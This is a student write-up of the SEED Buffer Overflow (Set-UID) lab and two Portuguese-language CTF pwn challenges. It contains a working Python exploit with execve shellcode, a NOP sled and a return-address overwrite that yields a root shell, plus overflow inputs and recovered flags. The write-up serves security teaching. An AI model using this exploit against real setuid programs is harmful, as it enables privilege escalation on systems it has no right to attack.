# Work of week #5: Buffer Overflow Attack Lab (Set-UID Version)

###### tags: `feup`

## Task 1

- If the Makefile is executed with `make` it executes the /bin/zsh shell as the current user (**seed**).

[11/17/21]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[11/17/21]seed@VM:~/.../shellcode$ ./a64.out 
$ whoami
seed

- If the Makefile is executed with `make setuid` it executes the /bin/zsh shell as **root**.

[11/17/21]seed@VM:~/.../shellcode$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
[11/17/21]seed@VM:~/.../shellcode$ ./a64.out 
# whoami
root

## Task 3

gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.

gdb-peda$ run
gdb-peda$ next
Legend: code, data, rodata, value
20	    strcpy(buffer, str); 

gdb-peda$ p $ebp
$1 = (void *) 0xffffca98

gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffca2c

gdb-peda$ p/d 0xffffca98 - 0xffffca2c
$3 = 108

From this we can conclude that the offset is 108 + 4 = 112. And we can introduce this value in the python script as **offset**.

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0"             # xorl %eax,%eax
  "\x50"                 # pushl   %eax
  "\x68""//sh"           # pushl   $0x68732f2f
  "\x68""/bin"           # pushl   $0x6e69622f
  "\x89\xe3"             # movl    %esp,%ebx
  "\x50"                 # pushl   %eax
  "\x53"                 # pushl   %ebx
  "\x89\xe1"             # movl    %esp,%ecx
  "\x99"                 # cdq
  "\xb0\x0b"             # movb    $0x0b,%al
  "\xcd\x80"             # int     $0x80
  "\x00"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

start = 517 - len(shellcode)
content[start:] = shellcode

ret = 0xffffca98 + 250
offset = 112
L = 4 # Use 4 for 32-bit address and 8 for 64-bit address

content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

After running the following script we obtained the following output, getting a **root shell** as it is supposed to happen.

[11/17/21]seed@VM:~/.../code$ ./exploit.py 
[11/17/21]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# 

Here we can observe the memory structure after the python script is run.


The new guess for return address value ```0xffffca98 + 250``` has to be close enough to the malicious code so that is can be executed. After multiple tries we came across a possible value to add to ```$ebp (0xffffca98)``` that is **250**.


## CTF - pwn

### Desafio 1
- Existe algum ficheiro que é aberto e lido pelo programa?
- mem.txt
- Existe alguma forma de controlar o ficheiro que é aberto? Algum buffer-overflow? Se sim, o que é que podes fazer?
- Controlar o o valor do buffer `meme_file`
- `buffer` apenas tem 20 bytes alocados, sendo que 28 estão a ser lidos com `scanf`
- Ao controlar o valor de `meme_file`, é possível controlar o valor do ficheiro a ser lido.

Ao executar o script de python auxiliar, tendo a string `12345678901234567890flag.txt` como input, obtivémos a **flag{7c8febf3a226778565a62d6bf6e1a422}**.

### Desafio 2

O desafio 2 funciona de forma semelhante ao desafio 1, sendo que existe um buffer extra de 4 bytes `val`.

Ao executar o código sem provocar qualquer buffer overflow reparámos que val aparecia como `0xdeadadad`, ao contrário de `\xef\xbe\xad\xde` como está definido no código.

Desta forma, para obter o valor pretendido `0xfefc2122` quando ocorre buffer overflow a sequência de carateres que foi inserida aquando da execução do programa foi `\x22\x21\xfc\xfe`

Ao executar o script de python auxiliar, tendo a string `01234567890123456789\x22\x21\xfc\xfeflag.txt` como input, obtivémos a **flag{6a43eeaf532a3e86cfdd50b1c05933a6}**.